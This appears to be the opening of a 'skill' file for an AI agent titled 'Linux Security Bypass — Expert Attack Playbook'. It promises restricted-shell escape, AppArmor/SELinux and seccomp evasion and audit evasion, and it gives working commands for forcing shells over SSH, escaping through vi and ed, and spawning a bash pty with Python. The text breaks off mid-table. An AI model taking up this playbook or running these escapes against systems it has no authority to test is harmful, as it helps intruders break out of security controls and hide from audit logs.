linux-security-bypasslisted

# SKILL: Linux Security Bypass — Expert Attack Playbook > **Scope**: Expert techniques for bypassing Linux security mechanisms. Covers restricted shell escape, noexec bypass, AppArmor/SELinux evasion, seccomp circumvention, and audit evasion. Includes fileless execution via DDexec and memfd_create plus architecture-confusion seccomp bypasses. ## Related Skills Before going deep, see also: - `linux-privilege-escalation` once you've broken out of restrictions and need to escalate - `container-escape-techniques` when security mechanisms are container-specific (seccomp profiles, AppArmor docker-default) - `linux-lateral-movement` after bypassing restrictions for pivoting - `cmdi-command-injection` when the restriction is on command execution from a web application context --- ## 1. RESTRICTED BASH (rbash) BYPASS ### 1.1 SSH-Based Bypass ```bash # Force a different shell via SSH ssh user@host -t "bash --noprofile --norc" ssh user@host -t "/bin/sh" ssh user@host -t "bash -l" # If ForceCommand is set in sshd_config, these may not work # Try SFTP/SCP instead — often not restricted: sftp user@host # SFTP shell can sometimes execute commands ``` ### 1.2 Editor-Based Escape ```bash # vi/vim escape vi :set shell=/bin/bash :shell # Or: :!/bin/bash # ed escape ed !/bin/bash # nano (if available) # Ctrl+R → Ctrl+X → command execution ``` ### 1.3 Language Interpreter Escape | Interpreter | Command | |---|---| | Python | `python3 -c 'import pty; pty.spawn("/bin/bash")'` | | Per